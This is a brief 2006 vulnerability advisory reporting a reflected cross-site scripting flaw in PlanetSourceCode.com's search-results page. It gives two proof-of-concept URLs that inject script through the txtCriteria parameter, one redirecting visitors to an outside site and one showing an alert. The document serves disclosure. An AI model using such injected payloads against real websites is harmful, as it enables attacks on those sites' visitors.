Rated as : Minimal Risk
##########################################################################################################
#---Cross-Site Scripting Vulnerability Found in Planetsourcecode.com
BrowseCategoryOrSearchResults.asp---#
#---Find by: T3rM1ght
----------/////////////////////////////////////////////////////////////////////////#
#---Release date: 2/26/2006
----/////////////////////////////////////////////////////////////////////////#
##########################################################################################################
The vulnerabilities have been found in the footer ads of
PlanetSourceCode.com when using the alert example
you can see exactly where in the page load the vulnerability occurs.
Examples:
Redirection:
http://www.planetsourcecode.com/vb/scripts/BrowseCategoryOrSearchResults.asp?txtCriteria=<SCRIPT
LANGUAGE="JavaScript">window.location="http://www.securitydot.net/";</script>
Page Alerts:
http://www.planetsourcecode.com/vb/scripts/BrowseCategoryOrSearchResults.asp?txtCriteria=%22/%3E%3Cscript%3Ealert("Vunerability")%3C/script%3E
securitydot.net - 2006-02-26
|
